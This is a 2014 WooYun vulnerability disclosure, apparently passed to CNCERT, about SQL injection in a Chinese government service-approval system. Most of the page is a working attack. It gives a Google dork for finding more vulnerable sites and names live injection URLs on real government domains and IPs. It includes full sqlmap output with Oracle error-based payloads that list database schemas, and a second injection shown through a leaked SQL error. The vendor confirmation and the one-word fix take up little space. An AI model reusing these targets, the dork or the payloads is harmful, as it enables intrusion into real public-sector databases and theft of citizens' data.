当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070237

漏洞标题:某政务类办事软件系统存在通用型SQL注入可跨多个数据库2-3

相关厂商:cncert国家互联网应急中心

漏洞作者: Mosuan

提交时间:2014-08-01 12:16

修复时间:2014-10-30 12:18

公开时间:2014-10-30 12:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-01: 细节已通知厂商并且等待厂商处理中
2014-08-05: 厂商已经确认,细节仅向厂商公开
2014-08-08: 细节向第三方安全合作伙伴开放
2014-09-29: 细节向核心白帽子及相关领域专家公开
2014-10-09: 细节向普通白帽子公开
2014-10-19: 细节向实习白帽子公开
2014-10-30: 细节向公众公开

简要描述:

rt

详细说明:

WooYun: 某政务类办事软件系统存在通用性SQL注入可跨库2-3
看完大牛的漏洞然后买车买房娶媳妇
google inurl:celerityAlleywayDetail.do
去掉路径,然后假如下面的注入后缀

注入地址:http://zwdt.tz.gov.cn/riseapprove_web/indexGetDatags.do?depNO=JS061200F
G
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:32:06
[03:32:06] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\zwdt.tz.gov.cn\session' as session file
[03:32:06] [INFO] testing connection to the target url
[03:32:06] [INFO] testing if the url is stable, wait a few seconds
[03:32:07] [INFO] url is stable
[03:32:07] [INFO] testing if GET parameter 'depNO' is dynamic
[03:32:08] [INFO] confirming that GET parameter 'depNO' is dynamic
[03:32:08] [INFO] GET parameter 'depNO' is dynamic
[03:32:08] [INFO] heuristic test shows that GET parameter 'depNO' might be injec
table (possible DBMS: Oracle)
[03:32:08] [INFO] testing sql injection on GET parameter 'depNO'
[03:32:08] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:32:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:32:12] [INFO] GET parameter 'depNO' is 'Oracle AND error-based - WHERE or HA
VING clause (XMLType)' injectable
[03:32:12] [INFO] testing 'Oracle AND time-based blind'
[03:32:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'depNO' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 24 HTTP(s) requ
ests:
---
Place: GET
Parameter: depNO
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: depNO=JS061200FG' AND 4631=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||
CHR(111)||CHR(101)||CHR(111)||CHR(58)||(SELECT (CASE WHEN (4631=4631) THEN 1 ELS
E 0 END) FROM DUAL)||CHR(58)||CHR(113)||CHR(113)||CHR(100)||CHR(58)||CHR(62))) F
ROM DUAL) AND 'YsGS'='YsGS
---
[03:32:22] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[03:32:22] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[03:32:22] [INFO] fetching database (schema) names
[03:32:23] [INFO] the SQL query used returns 17 entries
[03:32:24] [INFO] retrieved: CTXSYS
[03:32:25] [INFO] retrieved: DBSNMP
[03:32:25] [INFO] retrieved: DMSYS
[03:32:26] [INFO] retrieved: EXFSYS
[03:32:27] [INFO] retrieved: MDSYS
[03:32:28] [INFO] retrieved: OLAPSYS
[03:32:29] [INFO] retrieved: ORDSYS
[03:32:30] [INFO] retrieved: OUTLN
[03:32:30] [INFO] retrieved: QLK
[03:32:31] [INFO] retrieved: SCOTT
[03:32:32] [INFO] retrieved: SYS
[03:32:33] [INFO] retrieved: SYSMAN
[03:32:34] [INFO] retrieved: SYSTEM
[03:32:35] [INFO] retrieved: TSMSYS
[03:32:35] [INFO] retrieved: TZSUNZW
[03:32:36] [INFO] retrieved: WMSYS
[03:32:37] [INFO] retrieved: XDB
available databases [17]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] QLK
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] TZSUNZW
[*] WMSYS
[*] XDB
[03:32:37] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 34 times
[03:32:37] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\zwdt.tz.gov.cn'
[*] shutting down at 03:32:37


注入地址:http://xzfw.rg.gov.cn/rgzw_data/indexGetDatags.do?depNO=1
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 03:31:10
[03:31:10] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\xzfw.rg.gov.cn\session' as session file
[03:31:10] [INFO] testing connection to the target url
[03:31:10] [INFO] testing if the url is stable, wait a few seconds
[03:31:12] [INFO] url is stable
[03:31:12] [INFO] testing if GET parameter 'depNO' is dynamic
[03:31:12] [WARNING] GET parameter 'depNO' appears to be not dynamic
[03:31:13] [INFO] heuristic test shows that GET parameter 'depNO' might be injec
table (possible DBMS: Oracle)
[03:31:13] [INFO] testing sql injection on GET parameter 'depNO'
[03:31:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[03:31:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[03:31:19] [INFO] GET parameter 'depNO' is 'Oracle AND error-based - WHERE or HA
VING clause (XMLType)' injectable
[03:31:19] [INFO] testing 'Oracle AND time-based blind'
[03:31:19] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
GET parameter 'depNO' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 27 HTTP(s) requ
ests:
---
Place: GET
Parameter: depNO
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: depNO=1' AND 8753=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(101)|
|CHR(111)||CHR(112)||CHR(58)||(SELECT (CASE WHEN (8753=8753) THEN 1 ELSE 0 END)
FROM DUAL)||CHR(58)||CHR(120)||CHR(99)||CHR(109)||CHR(58)||CHR(62))) FROM DUAL)
AND 'nRsr'='nRsr
---
[03:31:25] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[03:31:25] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[03:31:25] [INFO] fetching database (schema) names
[03:31:26] [INFO] the SQL query used returns 19 entries
[03:31:26] [INFO] retrieved: CTXSYS
[03:31:27] [INFO] retrieved: DBSNMP
[03:31:28] [INFO] retrieved: DMSYS
[03:31:29] [INFO] retrieved: EXFSYS
[03:31:30] [INFO] retrieved: MDSYS
[03:31:31] [INFO] retrieved: OLAPSYS
[03:31:31] [INFO] retrieved: ORDSYS
[03:31:32] [INFO] retrieved: OUTLN
[03:31:33] [INFO] retrieved: QLK
[03:31:34] [INFO] retrieved: RGDJ
[03:31:35] [INFO] retrieved: RGDZJC
[03:31:36] [INFO] retrieved: RGSZWZX
[03:31:37] [INFO] retrieved: SCOTT
[03:31:37] [INFO] retrieved: SYS
[03:31:38] [INFO] retrieved: SYSMAN
[03:31:39] [INFO] retrieved: SYSTEM
[03:31:40] [INFO] retrieved: TSMSYS
[03:31:41] [INFO] retrieved: WMSYS
[03:31:42] [INFO] retrieved: XDB
available databases [19]:
[*] CTXSYS
[*] DBSNMP
[*] DMSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] QLK
[*] RGDJ
[*] RGDZJC
[*] RGSZWZX
[*] SCOTT
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WMSYS
[*] XDB
[03:31:42] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 36 times
[03:31:42] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\xzfw.rg.gov.cn'
[*] shutting down at 03:31:42


第二枚注入

http://58.221.232.44:9080/riseapprove_web/secondPage/findWorkProceeding.do?submit=123&workType=1&approveName=11%27
http://zwdt.tz.gov.cn/secondPage/findWorkProceeding.do?submit=123&workType=1&approveName=11%27
http://222.184.252.158:9080/riseapprove_web/secondPage/findWorkProceeding.do?submit=123&workType=1&approveName=11%27
Error 500: StatementCallback; bad SQL grammar [select count(*) from (select s.depname , s.depno , c.* from (select * from suppower where item_name like '%11'%' order by org_id ) c left join appdepartment s on c.org_id = s.depno where c.SRV_DIRECTORY is not null and length(SRV_DIRECTORY) > 0 order by s.depno) tmp]; nested exception is java.sql.SQLException: ORA-00911: 无效字符

漏洞证明:

详细说明

修复方案:

过滤

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2014-08-05 09:41

厂商回复:

CNVD确认并复现所述情况,按测试用例,已经转由CNCERT下发给江苏分中心处置。

最新状态:

暂无


漏洞评价:

评论